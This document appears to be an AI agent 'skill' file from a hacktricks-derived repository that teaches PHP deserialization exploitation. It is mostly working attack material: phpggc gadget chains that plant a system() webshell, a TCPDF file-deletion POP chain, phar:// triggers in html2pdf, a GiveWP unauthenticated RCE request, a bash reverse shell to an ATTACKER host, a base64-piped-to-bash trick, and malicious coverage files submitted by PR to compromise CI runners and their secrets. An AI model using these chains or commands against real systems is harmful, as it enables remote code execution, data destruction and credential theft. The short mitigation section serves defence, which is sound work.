Hacktricks-skills php-deserialization-pentest
PHP deserialization exploitation for pentesting. Use this skill whenever you need to exploit PHP deserialization vulnerabilities, including spl_autoload_register abuse, phpggc gadget chains, PHPUnit PHPT coverage attacks, TCPDF POP chains, html2pdf phar:// exploitation, or GiveWP unauthenticated RCE. Trigger this skill for any PHP deserialization testing, gadget chain construction, or when analyzing PHP applications for unsafe unserialize() calls.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/pentesting-web/deserialization/php-deserialization-+-autoload-classes/SKILL.MDPHP Deserialization Pentesting
A comprehensive guide to exploiting PHP deserialization vulnerabilities in web applications and CI/CD pipelines.
Quick Reference
| Attack Vector | Prerequisites | Impact |
|---|---|---|
| spl_autoload_register + LFI | Deserialization + custom autoloader | RCE via file loading |
| PHPUnit PHPT Coverage | CI/CD with phpunit < 8.5.52/9.6.34/10.5.63/11.5.50/12.5.8 | RCE in CI container |
| TCPDF __destruct | TCPDF loaded + unserialize() | Arbitrary file deletion |
| html2pdf phar:// | html2pdf ≤5.3.0 + PHP < 8.0 | File deletion via phar metadata |
| GiveWP <3.14.2 | GiveWP plugin + Stripe/Faker deps | Unauthenticated RCE |
1. spl_autoload_register + LFI/Gadget Chain
When to Use
- You found PHP deserialization but no gadgets in the current app
- Another vulnerable app shares the same container with exploitable libraries
- The target uses
with path transformation logicspl_autoload_register
Attack Flow
-
Identify the autoloader pattern
// Common pattern: underscores → slashes spl_autoload_register(function ($name) { if (preg_match('/_/', $name)) { $name = preg_replace('/_/', '/', $name); } $filename = "/${name}.php"; if (file_exists($filename)) { require $filename; } }); -
Load external composer autoload
- Class name becomes file path:
→www_frontend_vendor_autoload/www/frontend/vendor/autoload.php - Payload:
O:28:"www_frontend_vendor_autoload":0:{}
- Class name becomes file path:
-
Generate phpggc payload for the external library
phpggc Guzzle FW1 /tmp/a.php "<?php system('YOUR_COMMAND'); ?>" -o -
Combine into single serialized array
a:2:{ s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{} s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{...} } -
Add LFI loader for the created file
a:3:{ s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{} s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{...} s:6:"Extra3";O:5:"tmp_a":0:{} }
Important Notes
- Private properties may be dropped: If gadget attributes arrive empty, edit the
to make propertieschain.phppublic - May require two requests: First creates the file, second loads it
- File upload shortcut: If you can upload
files, abuse the autoloader directly for RCE.php
2. PHPUnit PHPT Coverage Deserialization (CI/CD)
When to Use
- Target uses PHPUnit with PHPT coverage
- You can contribute test files to the repository
- PHPUnit version < 8.5.52 / 9.6.34 / 10.5.63 / 11.5.50 / 12.5.8 (CVE-2026-24765)
Attack Flow
-
Create malicious coverage file
<?php $payload = file_get_contents('php://stdin'); // phpggc serialized gadget file_put_contents('exploit.coverage', $payload); -
Place in repository alongside a PHPT test file
-
Submit PR - CI executes
phpunit --configuration phpunit.xml -
PHPT runner deserializes the coverage file → RCE in CI container
Impact
- RCE inside CI/CD runner
- Access to mounted secrets (cloud creds, deployment keys)
- No web access required
3. TCPDF __destruct POP Chain
When to Use
- Application uses TCPDF and calls
on user inputunserialize() - TCPDF version < 6.9.3 (older versions have weaker path checks)
- Goal: arbitrary file deletion
Payload Structure
a:1:{ s:4:"html"; O:5:"TCPDF":2:{ s:7:"file_id";i:-1; s:9:"imagekeys";a:1:{ i:0;s:39:"/tmp/../tmp/do_not_delete_this_file.txt"; } } }
How It Works
- TCPDF
calls__destruct()_destroy(true) - Iterates over
$this->imagekeys
s paths underunlink()K_PATH_CACHE- Path traversal bypasses restrictions
Triggering via phar:// in html2pdf
Prerequisites: html2pdf ≤5.3.0, PHP < 8.0
-
Create Phar archive
# Use scripts/create-phar-payload.py python scripts/create-phar-payload.py \ --metadata "<serialized TCPDF payload>" \ --output archive.png -
Upload/place the file (e.g.,
)/tmp/user_files/user_1/archive.png -
Submit HTML with CERT tag
<cert src="phar:///tmp/user_files/user_1/archive.png" privkey="phar:///tmp/user_files/user_1/archive.png" /> -
html2pdf calls
→ deserializes Phar metadata → TCPDF destructor runsfile_exists()
4. GiveWP Unauthenticated RCE (CVE-2024-5932)
When to Use
- WordPress site with GiveWP plugin < 3.14.2
- Donation forms accessible without authentication
- Stripe and Faker dependencies present
Attack Flow
-
Generate payload using phpggc or PoC
uv run CVE-2024-5932-rce.py -u "<form_url>" -c "<command>" -
POST to donation endpoint
POST /donations/<slug>/ HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded amount=5&give-form-id=1&give-form-title=Any&give-gateway=offline&action=give_process_donation&give_title=<serialized_payload> -
Use blind RCE techniques
- Reverse shell:
bash -c "bash -i >& /dev/tcp/ATTACKER/PORT 0>&1" - Callback payloads for output exfiltration
- File deletion via
sinkunlink
- Reverse shell:
Chain Components
- base objectStripe\StripeObject
- validator sinkGive\Vendors\Faker\ValidGenerator
- command storageGive\Onboarding\SettingsRepository- Sink:
orshell_execunlink
5. Finding and Testing Deserialization
Detection Patterns
// Direct unserialize unserialize($_GET['data']); unserialize(file_get_contents('php://input')); // Indirect via session session_start(); // with user-controlled session data // Via file includes include($_POST['file']); // with serialized content // Via phar:// streams file_exists('phar://' . $_GET['file']);
Testing Checklist
- Identify unserialize() calls in codebase
- Check for custom
or__wakeup()
methods__destruct() - Map available classes and their magic methods
- Search phpggc for compatible gadgets:
phpggc -l | grep -E "<library>" - Test with simple payloads first:
O:1:"stdClass":0:{} - Check for output filters or error suppression
phpggc Quick Commands
# List all available gadgets phpggc -l # Search for specific library phpggc -l | grep -E "Guzzle|Monolog|Drupal|WordPress" # Generate payload phpggc <Gadget> <Function> <Argument> -o # Generate with custom output phpggc Guzzle FW1 /tmp/shell.php "<?php system('id'); ?>" -o
6. Payload Construction Tips
Private Property Issue
When mixing gadgets across applications, private properties may be dropped during deserialization if class definitions differ.
Solution: Edit the gadget's
chain.php to make properties public:
// Before private $filename; // After public $filename;
Multi-Object Arrays
Combine multiple objects in one serialized array for complex chains:
a:3:{ s:5:"obj1";O:28:"ClassLoader":0:{} s:5:"obj2";O:31:"GadgetObject":4:{...} s:5:"obj3";O:5:"Loader":0:{} }
Base64 Encoding
For command injection in file creation:
<?php system('echo <base64_command> | base64 -d | bash'); ?>
7. Mitigation Recommendations
For Developers
- Never call
on user inputunserialize() - Use
for structured datajson_decode() - Implement strict type checking
- Keep dependencies updated (check phpggc for known gadgets)
- Use PHP 8.0+ (phar:// stream restrictions)
For Security Teams
- Monitor for
in code reviewsunserialize() - Scan dependencies with phpggc compatibility checks
- Test CI/CD pipelines for coverage file handling
- Review file upload and phar:// stream usage
8. References
- phpggc - PHP Gadget Chains
- Positive Technologies - Blind Trust PDF Research
- CVE-2024-5932 - GiveWP RCE
- CVE-2026-24765 - PHPUnit PHPT Coverage
- GitLab Advisory - TCPDF Phar Deserialization
Scripts
Use the bundled scripts for common tasks:
- Generate phpggc payloads with custom optionsscripts/generate-payload.py
- Create Phar archives with serialized metadatascripts/create-phar-payload.py
- Scan codebase for unsafe unserialize() callsscripts/find-unserialize.py
Run with
--help for usage details.